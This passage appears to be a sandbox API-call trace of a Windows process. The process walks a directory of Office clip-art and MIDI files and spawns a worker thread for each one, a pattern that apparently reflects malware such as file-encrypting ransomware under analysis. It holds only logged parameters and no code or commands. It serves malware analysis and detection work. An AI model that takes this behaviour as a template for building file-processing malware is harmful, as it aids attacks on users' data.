	[0198.993] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1374
	[0198.995] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.996] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1
	[0198.996] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1378
	[0198.999] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.999] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1
	[0199.000] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x137c
	[0199.002] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.003] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1
	[0199.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1380
	[0199.006] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.007] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1
	[0199.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1384
	[0199.010] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.010] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1
	[0199.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1388
	[0199.013] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.013] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x72, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1
	[0199.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138c
	[0199.015] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.016] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x72, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1
	[0199.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1390
	[0199.019] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.019] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x72, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1
	[0199.020] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1394
	[0199.284] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.309] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1
	[0199.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1398
	[0199.317] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.317] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1
	[0199.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x139c
	[0199.323] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.324] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1
	[0199.324] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0
	[0199.326] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.326] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1
	[0199.326] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a4
	[0199.328] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.329] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1
	[0199.329] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a8
	[0199.332] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.332] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1
	[0199.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ac
	[0199.335] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.335] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1
	[0199.335] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0
	[0199.338] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.338] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1
	[0199.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b4
	[0199.341] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.341] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1
	[0199.342] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b8
	[0199.343] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.344] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1
	[0199.344] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13bc
	[0199.347] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.347] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1
	[0199.347] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c0
	[0199.350] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.350] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1
	[0199.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c4
	[0199.716] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.717] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1
	[0199.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c8
	[0199.719] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.720] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1
	[0199.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13cc
	[0199.722] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.723] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1
	[0199.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d0
	[0199.728] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.729] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1
	[0199.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d4
	[0199.732] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.732] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1
	[0199.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8
	[0199.735] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.735] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1
	[0199.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0199.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13dc
	[0199.739] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
